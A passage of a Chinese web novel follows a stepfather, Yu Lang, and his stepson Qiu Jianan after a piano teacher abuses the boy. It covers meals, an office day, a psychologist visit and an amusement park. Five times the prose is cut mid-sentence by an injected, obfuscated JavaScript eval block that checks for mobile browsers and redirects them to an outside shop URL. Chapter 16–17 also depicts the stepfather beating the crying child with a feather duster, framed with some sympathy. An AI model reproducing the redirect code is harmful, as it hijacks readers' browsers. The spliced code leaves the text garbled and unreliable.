邱嘉楠觉得这一晚实在太不真实了，尤朗竟然没有骂他，而且还把他送到医院了，那么着急的模样，还有，打电话的时候，他说，她打了楠楠。 楠楠，这两个字从尤朗嘴里说出来，他想都不敢想。 也许只是顺口吧，可是尤朗今晚的表现，分明是有一点在意他的。 尤朗看着自己被裹得像粽子一样的双手，只有几个手指指尖露在外头，还很疼，但是他竟然觉得很值得。 尤朗打完电话回来，就看见小孩一个人坐在走廊的椅子上，看着雪白绷带缠绕的双手发呆。他慢慢走过来，放缓了声音问：“疼不疼？” 邱嘉楠看着尤朗，沙哑着声音开口：“一点点。”真的哭得嗓子都哑了。 尤朗有点心疼，又觉得生气，怎么能被打了就一个人躲着呢？要是今晚他没回家，这小孩就打算藏一个晚上？ “老师打你，为什么不告诉我？” 已经干涩的双眼再次聚集起眼泪，邱嘉楠避开尤朗的眼神，低声道：“怕你生气。” 怕你讨厌我。 “你以为你这样我就不生气啊？笨死了！那老师一边打你一边赚我的钱，你不心疼你的手我还心疼我的钱！”尤朗想起那老师，怎么骂都觉得不解气，“那老师也是有病，看你没人陪着就打你，估计还以为自己很聪明。” 邱嘉楠不敢确定尤朗这话什么意思，就没有应声。尤朗站了一会儿，自觉没意思，便换了话题：“还没吃饭呢，想吃什么？带你去。” 邱嘉楠难以置信地看着尤朗，尤朗要带他去吃饭？ “算了，你也没在外面吃过，随便吧。”尤朗弯下腰，一下把孩子抱了起来，朝医院外走去。 如果说刚才实在疼得不清醒，没注意到被尤朗抱着是什么感觉，那现在可就清清楚楚了。可正因为太清楚，反而不真实起来，尤朗怎么可能抱他呢？像抱着自己的孩子一样，搂他在怀里。 可是他能够嗅到尤朗脖子上的味道，干净的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581254|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带一点淡淡的清香。 “搂着我。” 邱嘉楠一愣，随后机械地把两条手臂架到尤朗脖子上，肌肤相触的热度让他瞬间落泪。他幻想尤朗这样抱着他已经很久很久了，但他没想到，会有成真的一天。 “爸爸。” 声音很轻，很低，要不是邱嘉楠就靠在尤朗肩上，尤朗不会听见。 尤朗一怔，一手将孩子往上托了托，一手抚上孩子的脖颈，应了一声：“嗯。” 邱嘉楠是第一次吃肯德基。那年头，肯德基很火爆，电视上每天都放肯德基的广告，今天是鲜嫩的炸鸡，明天是巨大的汉堡，邱嘉楠每次看到都会偷偷流口水。 尤朗随便给小孩点了些东西，汉堡、鸡翅、薯条什么的，小孩不敢有意见，只是看见广告里那个汉堡的时候眼睛瞬间一亮。 虽然实物真的比广告小很多。 邱嘉楠这个样子没法拿东西，尤朗只好亲自动手，剥开汉堡外头的纸，然后喂到小孩面前。邱嘉楠啃了一大口，无比满足。 尤朗不爱吃这些，不过忙活了一晚上还是有点饿，便拆了番茄酱，吃了几根薯条，吃着吃着又喂了小孩一根。 邱嘉楠可以自己吃鸡翅，两个手指指尖掐着鸡翅两端，刚刚好，没一会儿就啃得满脸油，然后又伸着脖子去够可乐的习惯。 尤朗看这小孩屁股已经离了凳子，整个人挨着桌子边缘站着，似乎恨不得站到桌上去似的，心想这东西也没多好吃，怎么就馋成这样，不过还是还是把东西往小孩面前推了推，问：“好吃吗？” 邱嘉楠亮着眼睛，重重地点头。 确实好吃，以至于后来尤朗问他想吃什么的时候，他都会毫不犹豫地回答肯德基。 第二天一早，尤朗吃完早饭就打算去公司：“你在家呆着，听到没有？” 小孩这样没法上学，已经跟学校请过假了 邱嘉楠睡了一个晚上，一醒来就觉得昨晚的事跟做梦似的，再见到尤朗，怎么也不敢叫爸爸了，此刻听尤朗说话，只是点了点头。 “上楼去吧。”尤朗拿纸巾擦了嘴和手，看着小孩上了楼才离开家门。 可是，车都开出来了，他又突然不太放心，犹豫片刻，还是下了车回去，在楼下喊：“邱嘉楠！” 邱嘉楠急急忙忙跑出来，在楼梯口问：“怎么了？” “下来！” 15. 第 15 章 ——好嘛，尤董带着个小孩来公司了。 ——那是他儿子吧？ ——又不是亲的，还儿子呢！ 看着尤朗带一个小孩走过去，员工们都窸窸窣窣的。尤朗知道，当老板就是要给员工们提供八卦的，当年他认识邱蕊就是这样，因而也不大在意。 走到办公室外间，章信吓了一跳，立刻站起来：“尤董。” 尤朗轻轻瞪了他一眼，还在发泄昨晚的怒气，但没多说什么，指着里头的沙发道：“坐那里。” 邱嘉楠知道这是说给自己听的，立刻迈着小短腿跑了过去，规规矩矩地坐在沙发中间，跟在学校上课似的，连眼睛都不敢乱瞟。 “等会开会，我先过去，你去给他买一袋零食。”尤朗吩咐道。 “好，我这就去，让小吴帮您拿资料到会议室吧。”章信安排了工作，赶紧到楼下去买零食了。 小半个小时过去，邱嘉楠还乖乖地坐在那里，保持着原来的姿势，认真得令人发笑。章信提着买好的零食和两本绘本进去，笑问：“楠楠，手还疼不疼？” 邱嘉楠摇摇头。 章信蹲在他面前，摸摸他的头：“对不起啊，我不知道那个老师会打你，我昨晚已经向中介机构投诉她了，尤董还让我找了律师，你的课酬肯定都会退回来，还得赔偿你，以后她肯定当不成老师了。” 邱嘉楠想，也算是脱离苦海了。 “零食在这儿，这是给你找的绘本，无聊可以看，厕所出门右拐走到尽头，要是有事你就去会议室找我，会议室就在隔壁。” “我知道了。”邱嘉楠点了点头。章信冲他笑笑就赶紧到会议室去了。 邱嘉楠跟一般的小孩不同，别的男孩子九、十岁正是狗都嫌的年纪，怎么闹腾怎么来，可是邱嘉楠总是坐得住，安静，有耐心，从来不会大吵大闹，就连在学校故意摔小提琴吸引尤朗过去那次，也是那样不动声色，只是站在一旁，一句话都没有。 也许就是这样，才会慢慢让尤朗习惯他的存在，同时又不厌烦。 邱嘉楠一边翻书一边吃东西，除了中间上一趟厕所以外，便一直呆在原处，没有乱走。 尤朗散会回来，就看见小孩低头翻着绘本，又长又翘的眼睫毛一扇一扇的，十分乖巧可爱。他朝小孩走来，拉拉西装裤脚坐在沙发上。邱嘉楠瞥见那身影，慌慌忙忙站起来，面对着男人。 开会的资料放在茶几上，尤朗心想，怎么现在又变成小哑巴了？“叫人。” 邱嘉楠一个上午都不敢叫“爸爸”，生怕昨晚只是个梦，可是现在······尤朗这么说，是不是意味着以后都可以叫爸爸？ “昨晚会叫今天就不会了？”尤朗一巴掌拍在小孩屁股上，小孩疼得往旁边躲了躲，泪眼汪汪的，含着一抹不敢明言的委屈。 尤朗警告地盯着他，似乎是在说，再不叫人就要打你了。 邱嘉楠不敢拒绝，低下头，闷闷地叫：“爸爸。” 尤朗总算心情好了点，又忍不住挖苦他：“你这张嘴怎么张的？别人不催你你都不会说话是吧？”正说话呢，章信过来敲了下门，问他需不需要订餐。 尤朗看着面前的小鹌鹑，道：“不用，我带他下去吃。” 尤朗身高腿长，平时走起路来章信都得紧巴巴地跟，换了邱嘉楠，那更是跟不上了，几乎得一路小跑才行。尤朗走了几步，发现小孩气喘吁吁的，便停下来伸了手过去。 邱嘉楠懵懵懂懂，看一只大手伸在自己面前也不知道什么意思，只呆愣愣地仰头看着尤朗。 尤朗无奈地摇摇头，心想就这智商也能考第一，那个学校都是些什么歪瓜裂枣。这般想着，直接抓了小孩的手腕，带他走了。 邱嘉楠被尤朗牵着，忽然明白伸手是这个意思，可惜他的手还没有好，不然就更好了。 一直进了电梯，尤朗才把手放开，邱嘉楠站在尤朗身边，嘴角带着一抹不常见的笑意。 写字楼旁边的商场里什么吃的都有，不过尤朗还有工作，不能耽误太长时间，便带着小孩吃了个简餐。邱嘉楠原本对吃的就没要求，能和尤朗一起吃饭，已经是最幸福的事情了，一顿普通的午饭也吃得津津有味。 旁边有一桌也是大人带着小孩，那孩子吵吵嚷嚷的，可父母却很耐心，一直给小孩擦嘴擦手。尤朗瞥了一眼，又看看自己对面小孩专心吃饭的样子，忽然觉得有些对不起他。他和邱嘉楠在法律意义上仍是父子，不能不尽父亲的责任。 邱蕊是邱蕊，小孩是小孩，他不应该牵连。 原本吃了午饭就要上去，人都快走到电梯间了，尤朗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581255|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知想到什么，又带着小孩折返回去，在商场和写字楼的中间缝隙的奶茶店里买了一杯奶茶。 “先生，好了。” “麻烦帮我把吸管插一下。” 奶茶店的柜台太高了，邱嘉楠仰着头，知道尤朗在给自己买吃的，却不知道到底是什么，眼里落满了期待的小星星。 尤朗接过奶茶，弯下腰递到小孩面前。邱嘉楠伸过脖子去吸了一口，又香又甜，味蕾瞬间爆炸。 “好不好喝？” 邱嘉楠一个劲点头。 尤朗笑笑，一手拿着奶茶，一手拉着小孩的手腕往写字楼走。 大概是太好喝了，邱嘉楠一直盯着那杯奶茶，虽然知道那是自己的，可好想快点喝啊！ 尤朗察觉到小孩的急切，还没进写字楼，又停下来给他喂了一口。邱嘉楠含着吸管，“咕噜噜”地吸了好一会儿，尤朗就那么弯着腰，看着小孩，静静地等。 那一天中午，好多下来吃饭的员工都看见平日不苟言笑的尤董在路上弯腰给一个小孩喂奶茶。就这样呗，还管什么亲生不亲生啊！ 喂了奶茶，尤朗又嫌小孩走得慢，便一手托着小孩屁股把他抱了起来，把奶茶塞给他：“用手臂夹着，自己喝。” 平日里在学校是要午睡的，邱嘉楠吃了午饭就有点困，喝了奶茶坐在沙发上，没两分钟眼皮就不住往下磕。 尤朗坐在办公桌后处理工作，刚看完一个文件，就看小孩歪在沙发上睡着了。办公室里空调温度有点低，小孩似乎是冷，手脚都蜷在一处，小小的人儿团成一块，可怜兮兮的。 尤朗起身，想去问章信要一张薄被，可是外头大家都趴在办公桌上午休了，再把人吵醒也不太厚道，只得在办公室环视一圈，最后把自己的西装外套盖在了小孩身上。 邱嘉楠醒来后，对此事颇感意外，他还没有那么盖过尤朗的西装呢！看尤朗还在工作，邱嘉楠拿着衣服慢慢走过去，生涩地唤：“爸爸。” “嗯，等会让司机来接你回去吃晚饭，我晚上还有事，不回去。” 邱嘉楠有瞬间的失落，但没有表现出来，只是点点头：“知道了。” 能和尤朗这么呆一天已经很好了，还叫了爸爸，也没什么不满足的，不能老是缠着尤朗，邱嘉楠在心里这般自我安慰道。 16. 第 16 章 过了两天，邱嘉楠的手已经没有大碍了，便继续去上学，可是才几天，老师的电话又打到章信这里来了——邱嘉楠在钢琴课上的反应很大，一听到钢琴声就哭叫不止，根本没法上课。 章信马上叫了司机把人接回家里，然后去跟尤朗说。 尤朗有些不解，以为是小孩子手没好全，弹不了琴，生怕落于人后，毕竟这年纪的小孩大多要强，因此没多大在意，只问：“之前让你给他找新的钢琴老师，找了没有？” 章信有些为难：“尤董，找是找了，技术好的老师一大堆，但是，我真的不敢保证老师的人品，之前那个老师投诉率很低，但一到楠楠，不，邱少爷这里，就跟换了个人似的，谁能知道呢？” 尤朗低头在一份文件上签了字，“铿”一声盖上笔帽：“有什么奇怪的？楠楠一个人在家呆着，又不说话，多好欺负！” 这话虽不是针对章信，但章信还是低下了头，毕竟是自己找的人。 “尤董，其实我还有个人选，但因为是我自己的亲戚，我没好意思跟您说。” “说，有什么不好意思的？” “我之前不是说有亲戚是N大艺术学院的吗？我表妹，就学钢琴的，要说技术，也就那样，毕竟还是在校学生，但是性格人品我能保证啊，绝对没问题的，出了问题您找我。” 尤朗微微蹙眉，教小学生，大学生也够了，只要不像之前那样，也不用要求太高超的技术。 “这周末，你让她过来，给楠楠上一次课。” “行，我跟她说。” 虽说章信长得人模狗样的，不是，有模有样的，但尤朗见到他那表妹的一瞬间，还是觉得章信不配和人家做亲戚。 章信的表妹名叫关再秋，身材高挑，皮肤白皙，人虽然瘦，脸却有些肉肉的，眼睛一眨，跟洋娃娃似的，高高的马尾里隐隐约约现着两根细细的辫子，显得非常活泼。 “关老师你好。”尤朗担心再出之前的事，无论来的是谁的表妹，他都得盯着上课，今天特地推了其他的工作等在家里。 关再秋笑起来：“楠楠爸爸你好，不用叫我老师，叫我小关或者再秋都可以。” 楠楠爸爸，尤朗还是第一次这样被人称呼，不过想想也是，来给邱嘉楠上课的，确实应该管他叫楠楠爸爸。 “邱嘉楠！下来！老师来了！”尤朗朝楼上喊着，小孩很快便光着脚“蹬蹬蹬”下来了，只不过脸上并不是很高兴。 “老师，琴在那边。”尤朗还是称呼她老师。 关再秋点点头，走到钢琴前坐下，招招手让小孩过来：“楠楠。” 邱嘉楠微微撅着嘴，很不情愿的样子，可是他知道尤朗和章信费了好大功夫给自己找老师，如果他现在跟尤朗说他不想学钢琴了，尤朗肯定会生气的。 关再秋打开钢琴琴键盖子，温声问：“楠楠不喜欢钢琴吗？” 邱嘉楠竭力打起精神，可是他一看到钢琴就想到那个蓝老师，手心顿时隐隐作痛，太阳穴更是“突突”地跳，晕乎乎的：“没有啊。” 关再秋看了一眼眼前架着的琴谱，那一页有些旧了，大概是很久没翻过了。 “我听说，楠楠很聪明，肯定学得很快，楠楠最近是在学这个曲子吗？” 邱嘉楠看了一眼琴谱，耳边又响起蓝老师凶狠的声音——“弹错了！”“你会不会弹？”“笨死了！” 邱嘉楠移开目光，含糊地应了声“嗯”。 “那楠楠能不能先弹一遍给我听呀？看看楠楠学了多少了。” 邱嘉楠忽然心悸起来，心脏“砰砰砰”的，跳得又快又响，整个人像是飘在半空中踩不到地面。他看着钢琴琴键，眼前忽然闪过蓝老师拍过来的手，立刻感到自己的手一阵火辣的疼痛。 “楠楠没有学吗？那我先弹一遍给楠楠听好不好？” 坐在沙发客厅的尤朗一直在听，这个小老师很耐心，倒是邱嘉楠一直不配合。 清脆的钢琴声响起，邱嘉楠头疼得更厉害了，眼前一阵阵发黑，一开始还能勉强忍得住，随着乐声持续进行，邱嘉楠连呼吸也急促起来，最后终于忍不住尖叫起来：“啊——不要！不要弹！” 关再秋被吓了一跳，忙收了手站起身来，无措地望向尤朗。尤朗也同样惊异，不知怎么回事，但还是先把老师送了出去：“抱歉老师，今天的课可能上不成了，课酬我会付给你，让你白跑一趟了。” 关再秋有些不放心似的，走前还看了一眼小孩：“没关系，课酬不重要，楠楠爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581256|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸，我看楠楠好像对钢琴反应很大。” 尤朗摇摇头，有些冷漠：“我不清楚。” 关再秋不方便再说什么，道别之后就离开了。尤朗关上门，回头只见邱嘉楠怔怔地坐在琴凳上，一动不动。 “邱嘉楠，你怎么回事？！”尤朗一肚子气，费尽功夫重新给他请了老师，结果课还没开始上就搞这么一出。 可是邱嘉楠只是呆呆地看着他，并不说话。 尤朗更气了，抓着他的手往琴键上按：“不想要老师就不要，现在，你自己给我弹！弹啊！”尤朗用力一按，好几个音一同蹦出，震了邱嘉楠一下。 邱嘉楠看着自己的手，忽然一阵眩晕，坐都坐不住了。 “动手啊！你傻了是不是？！” 邱嘉楠感受着尤朗的怒气，知道这个时候再怎么样也不能逆着他，否则好不容易培养起来的单薄的父子情就要消耗殆尽，可是邱嘉楠真的弹不动。他挣扎几下，把手抽了回来，死死地背在身后，不肯伸出来。 尤朗确实气得很，一时之间也顾及不上什么父子情，抬头一看，见墙角挂着一根鸡毛掸子，便立刻取了过来，威胁道：“弹不弹？” 鸡毛掸子，邱嘉楠手心一紧，尖锐的刺痛感立刻涌进脑子里，连摇头也忘记了，只是怔怔的。 尤朗的脾气全被他激出来了，抓着小孩圆圆的手臂，将小孩手扯出来，对着还没摊好的手心“啪”地打了一下。 “啊！！”邱嘉楠毫无预兆地叫起来，反应非常大。 尤朗忍不住皱了眉，不过是五六分力，鬼叫什么？！“闭嘴！” 邱嘉楠如何控制得住本能的反应？待得鸡毛掸子再次落下，他下意识地把小拳头握了起来，“啪”的一声，指节的骨头都像是被打裂了。 “啊！！救命啊！！”邱嘉楠眼泪像泉水一样涌出，不住洗刷着白皙的脸庞。 尤朗一看，小孩手指似乎有肿起来的迹象，不敢再这样打，可是这小孩不教训也不行，于是揪着小孩的衣领，把孩子往上一提，翻过身，一把按在了琴凳上，腹部抵着凳面，屁股高高翘起。 尤朗扒了小孩的裤子，鸡毛掸子顶端点着软软的臀肉，威胁道：“你什么时候愿意弹琴，我们就什么时候停。” 17. 第 17 章 鸡毛掸子“啪”一声给白皙的屁股添了一道红痕，因着屁股肉厚，尤朗比方才加了两分力，可是邱嘉楠反倒不哭了。 尤朗没有察觉到小孩的异常，只觉得他古怪烦人，扬起鸡毛掸子接二连三地抽了下去，“啪啪啪”的声音在空旷的房子里回荡，一道道红棱烙在孩子小小的屁股上。邱嘉楠伏在琴凳上，眼泪不住往木地板上砸，光着的小脚在冰凉的地面上踢着，企图挣脱尤朗的钳制，从疼痛中解脱出来。 但论力气，他不可能是尤朗的对手，挣扎几下，为他讨来了更重的几下鸡毛掸子：“再敢乱动！再踢就打腿了！” 邱嘉楠听见了，可他不能控制自己，分明是尽力不要踢的，可是两腿好似不归脑子管，在鸡毛掸子下落的时候仍然小幅度摆动。 尤朗烦得不行，“啪”地将鸡毛掸子抽在小孩膝窝上，小孩立刻“啊”一声惨叫出来。 膝窝那地方皮薄无肉，这么一下，像直接打在骨头上，细看时只见一道食指粗的棱子横亘其中，深红发紫，隐隐有破皮的迹象。 “啊呜······”邱嘉楠哭得趴不住，差点就要从琴凳上滚下来，尤朗被他的哭声惹得心颤，手一松，放开了小孩。 “啊！！”邱嘉楠顺势滚到木地板上，赤裸的屁股着地，红肿的伤全被死死地挤压在一处，疼得他再次惨叫。 尤朗看着小孩这样子，说不清自己什么感受，一会既觉得他活该，谁叫他不好好上课弹琴，可一会又觉得心疼，毕竟才四年级，哪有小孩总是这么挨打的？可有些事冷静的时候知道，脑子一热，鸡毛掸子提起来就轻易放不下去，估计下手也没轻没重的。 罢了，不打了。 尤朗直身站着，鸡毛掸子还握在手里，垂在腿边，盯着邱嘉楠道：“钢琴不想学就别学了，给你三天，钢琴不弹就卖了，省得占地方！” 邱嘉楠脑子一片混沌，只一个劲地打滚，边滚边哭，根本不知道尤朗在说什么，更别提应答了。 尤朗手一松，鸡毛掸子落在地上，转身上楼去了。 之后三天，邱嘉楠自然没有再碰钢琴，对那个大块头，他现在是能避则避，能躲多远就躲多远。阿拉斯加深感自己重新获得了宠爱，整日缠着邱嘉楠，“汪汪”“汪汪”地叫爸爸。 尤朗也是言出必行，说卖就卖，三天后，邱嘉楠放学回到家里，原来放钢琴的地方已经空荡荡的，跟没有钢琴那会一模一样。 可是他没有感觉到轻松，只是跟那个地方一样，空落落的。 章信听说了这事，抽空跟老板提了一嘴：“尤董，楠楠的事······” 尤朗正坐在桌后看文件，一听那俩字，当即漠然地抬起眼，不善地盯着章信。 章信站在原地，头皮发麻，西装裤下的双腿微微发抖，妈的，给尤董打工真的难！ “尤董，我跟再秋聊了一下楠楠的事，”多么尽职尽责的助理和保姆，就算被老板警告了，还是要把该说的话说完，“再秋说，楠楠可能对钢琴有心理阴影了，之前的事对他影响很大，如果可以，还是要妥善解决，不要粗暴对待。” 尤朗眸中的敌意褪去一些，沉默片刻后问：“这是你的意思还是关老师的意思？” “当、当然是再秋的意思，我又不是老师，又没学过钢琴，哪懂啊？” 哼，我看你懂得很！尤朗暗戳戳地编排助理，不过正经事还得做，他把文件放在桌面，安排道：“你看看国庆能不能约到好一点的心理医生，尽早。” “好，我明白。” 尤朗前半辈子都没想过自己要看心理医生，为了这小孩，付出的也够多了吧！国庆当天早上，城市主干道上挂上了红旗，时代广场有盛大的升旗仪式，家长们带着小朋友又是看升旗又是看白鸽的，尤朗却带着邱嘉楠去看心理医生。 他们住在郊区，不远处有一个巨大的游乐园，平时在楼顶常能看见钢铁风车一般的摩天轮。驱车进城总要经过那个游乐园，邱嘉楠忍不住多看了两眼。 他还从来没去过呢！ 章信这个助理办事向来妥当，约的是私人的心理咨询，早上十点，黄金时段。 尤朗带着邱嘉楠进了布置温馨的心理咨询室，跟女医生打过招呼后坐在小沙发上。邱嘉楠似乎有点怕，无意识地往尤朗身边挪了挪。 尤朗稍微有点烦躁，但还是伸手搂了下小孩。 医生问起他们的问题，全是尤朗再说，把小孩如何被老师虐打，如何对钢琴有阴影讲了一遍，邱嘉楠只是坐在沙发上，低头抠手指。 医生侧头看了一眼小孩，笑说：“小朋友无聊了，不如去旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581257|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的儿童休息室玩一会，我和尤先生聊聊。” 尤朗蹙眉，这才几分钟啊就无聊了，一看小孩，呆愣愣的，简直像个智力发育迟滞的问题儿童，顿时有些不耐烦，道：“你去吧。” 邱嘉楠怯怯地站起来，按照医生的指示走出了咨询室，朝那间五颜六色的儿童休息室走去，几步的距离，活生生让他走出了生离死别的感觉，一步三回头的，含着薄泪的双眼直勾勾地盯着尤朗，似是有千言万语要说。 尤朗不大高兴地摇摇头，看他走进休息室，果断关上了咨询室的门。 “尤先生，”和刚才一直沉默倾听不同，女医生很快开了口，“您有没有想过，这可能不是孩子的问题，是您的问题。” 尤朗被逗笑了：“我的问题？”他能有什么问题？读书、出国、办公司、做项目，他健康得很好不好？！ 在心理医生看来，他的问题就是不会当爸爸，没有给孩子足够的安全感，无法让孩子全身心地依赖他，才会对一切都处在一种战战兢兢的状态中。 尤朗听得头痛，歪着头，用手撑着前额：“医生，你给我讲这些没有用的，他不是我亲儿子，我跟他没有血缘关系的。”章信说过，这种咨询室保密性很强，不用担心自己的信息被透露。 医生沉默一会，问：“那尤先生是不打算给小孩当爸爸咯？” “对。” “那您为什么还要来呢？” 尤朗一怔，这不是给小孩解决问题吗？可是话没出口，他就想明白医生的意思了，如果他真的一点都不在乎那个小孩，根本没有必要为他花这个时间和金钱。 邱嘉楠在儿童休息室玩积木，能想到的东西都搭了个遍，一个多小时后，咨询室的门“咔哒”一声打开了，尤朗和女医生一前一后走出来，邱嘉楠立刻快跑两步，想要靠近一些，却又不敢靠太近，只是眼巴巴地望着，急切，焦灼。 但尤朗和医生并没有多说什么，只是道谢，再见，便转身来叫邱嘉楠：“走吧。” 邱嘉楠不敢说话，赶紧跟上了。 在附近吃了个午饭，回去的路上又经过了那个游乐园，宽阔的大门挤满了大人小孩，五颜六色的鲜花铺了一地，形状各异的气球在半空中摇晃。 尤朗把车停在附近路边，问：“想不想去？” 18. 第 18 章 邱嘉楠一怔，和尤朗相处的这段时间，尤朗情绪变化太大，一会温柔地给他喂奶茶，一会暴躁地打他一顿，现在听他这样问，邱嘉楠实在拿不住主意。 尤朗看着小孩犹犹豫豫的模样，帮他做了决定，方向盘一打，把车开到了游乐园停车场，带着小孩去买门票。 售票处队伍很长，小朋友们手里拿着气球风车，叽叽喳喳，吵得人头痛，尤朗牵着邱嘉楠，跟在队伍后面排队。 好几分钟才往前挪一挪，尤朗看这阵势，少说也得半个小时，真的很想转头回家。这个人流量，进去了也是排队玩，不知道有什么意思。 可是他一低头，就看见身旁的小孩目光亮闪闪的，目不斜视地盯着前方，每当前面的地方空了一点，便立刻上前一小步，连规规矩矩排队的模样都透着急切。 没有小孩不喜欢游乐园。 尤朗想起医生的话：“我知道尤先生在事业上很成功，但是孩子需要的不是一个董事长，是一个爸爸。” 罢了，等就等吧。 半个小时过后，尤朗终于在售票处的窗口买了两张游乐园的门票，带着邱嘉楠进了游乐园大门。 这一进去可了不得，孩子们的“哈哈哈”和“呜呜哇哇”夹杂在一起，能让千万青春少年少女顿时恐婚恐育，尤朗唯一感到安慰的是，邱嘉楠一直很安静，拉着他的手，慢慢地走。 游乐园里很多刺激性的项目，尤朗没兴趣，又记得小孩身体不好，就直接放弃了，带着去排了半天队，把小孩送上了旋转木马。 邱嘉楠是这一批第三个进去的，慢悠悠地选了一匹奔腾的白马，踩着脚踏翻身坐了上去，欢天喜地地抓着面前的不锈钢圆管，忍不住摸了摸马头。 说来也奇怪，他连真马都经常骑，但是从来没有这样兴奋过。 围栏外头的大人们喊着小孩的名字，纷纷给小孩拍照，那年头的手机相素很差，拍出来的照片都很模糊，但是对于家长来说，孩子的笑容永远清晰。 邱嘉楠扭着头，到处找尤朗，却根本不见人，不知道是不是被挤出去了。正想着，音乐一响，旋转木马悠悠转动，邱嘉楠的注意力又被吸引了过去，很快把尤朗抛到了脑后。 一次旋转木马几分钟，尤朗在人群外接到小孩时，见小孩满脸笑容，开心异常，可是这对他来说实在太无聊太折磨，好几次都想带小孩回去，最终还是忍了下来：“还想玩什么？” 游乐园门票上印着园内所有项目，每玩一次项目就会在项目名字前打一个小孔，邱嘉楠小小的手指指腹顶着旋转木马那个小圆孔，抬头道：“我想坐摩天轮。” 那个他经常在家里楼顶看到的巨大钢铁风车，一定很好玩。 尤朗不言语，带着小孩朝摩天轮走去。 摩天轮下排队的人也不少，一个车厢下来就放几个人进去。国庆人多，很难做到一家人一个车厢，只能两家人挤一挤。艰难地排完队，尤朗和邱嘉楠上了一个红色的车厢，一起的还有另外一家人，一对年轻夫妻带着四五岁的小孩，那小孩手里拿着一个小汽车模型，好奇地朝车厢外头望，嘴里叫着：“妈妈！我们要上天了！” 邱嘉楠也好奇，但从不叽叽喳喳，只是矜持地伸着脖子，安静地看。 摩天轮速度很慢，坐在车厢里头似乎是静止的，如果不是看着地面的标志物一点一点上升，会以为摩天轮压根没开。邱嘉楠到处搜寻着家的方向，等到摩天轮上升到半空，他忽然露出一个笑，拉拉尤朗的袖子：“那里！是家里！” 尤朗被扯得一回神，正要看，手机却响了，他只得先接电话：“喂？” “对，你安排一下司机。” “嗯，我知道了。” 尤朗打电话打得认真，没注意到小孩瞬间落寞的表情。挂掉这个，又另外打了一个电话：“廖经理，明天的文件你准备好，十点的飞机。” 邱嘉楠一愣，尤朗要出差？还是别人要出差？他很想知道，却不敢开口问，只是偷偷用食指碰了下尤朗衬衫袖口上的黑色圆形袖扣。 凉凉的。 待得那两通电话打完，摩天轮已经转过了家的方向。 对面那个小孩吵闹不休，一会是看大楼，一会是看下面蚂蚁堆一样的人群，尤朗不悦地扫了人家一眼，然后听见邱嘉楠低声道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581258|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想回家了。” “好。”尤朗松了一口气，总算是结束着烦人的国庆了。他没有注意到，小孩给他的话里再次失去了称呼。 对于出差那件事，邱嘉楠一直不敢问。第二天一早，尤朗便把他叫到跟前，叮嘱道：“我要出差六七天，你在家呆着。”话未完，便见孩子嘴角不自觉往下拉了，很不高兴的模样，尤朗暗中叹气，做爸爸实在太难了，“阿姨会来给你做饭，我跟阿姨说了，四号中午给你点一次肯德基的餐，如果阿姨忘记了，你提醒她。” 邱嘉楠的表情又忽的明朗起来，尤朗出差所带来的失落被肯德基扫去了一些。 尤朗心想，还真是喜欢肯德基啊，那到底有什么好吃？不过想归想，到底没有说出口，只是摸摸孩子的脑袋，推着行李箱，道：“我走了，你听话。” 这是邱嘉楠第一次知道尤朗的行程，粘人的目光一路跟着尤朗走出家门，直到尤朗上了公司派来的公车才恋恋不舍地收回。 